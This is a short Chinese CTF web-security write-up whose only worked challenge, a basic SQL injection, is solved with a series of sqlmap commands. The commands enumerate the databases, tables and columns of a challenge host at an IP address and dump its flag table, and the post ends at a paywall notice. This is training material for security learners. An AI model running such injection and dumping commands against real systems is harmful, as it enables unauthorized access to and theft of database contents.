本文详细介绍了CTF比赛中的Web安全挑战，包括SQL注入攻击的实战运用，如使用SQLmap工具探测数据库信息，获取flag。通过手工注入和代码审计，解决不同场景下的安全问题。此外，还涉及了session反序列化和SSRF等知识点。
1\01-web_sqli_1
简单注入,SQLmap
/?id=4
python2 sqlmap.py -u http://42.236.2.183:10004/?id=3
python2 sqlmap.py -u http://42.236.2.183:10004/?id=3 --dbs
python2 sqlmap.py -u http://42.236.2.183:10004/?id=3 --tables
python2 sqlmap.py -u http://42.236.2.183:10004/?id=3 -T flagvalue --columns 报错 不需考虑
python2 sqlmap.py -u http://42.236.2.183:10004/?id=3 -D flagvalue -T flagvalue --columns 没考虑，欠妥
python2 sqlmap.py -u http://42.236.2.183:10004/?id=3 -T flag --columns
python2 sqlmap.py -u http://42.236.2.183:10004/?id=3 -D flag -T flag --columns
python2 sqlmap.py -u http://42.236.2.183:10004/?id=3 -T flag -columns --dump
python2 sqlmap.py -u http://42.236.2.183:10004/?id=3 -T flag -C txt --dump
flag in flagvalue da
最低0.47元/天 解锁文章
扫一扫
1885
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
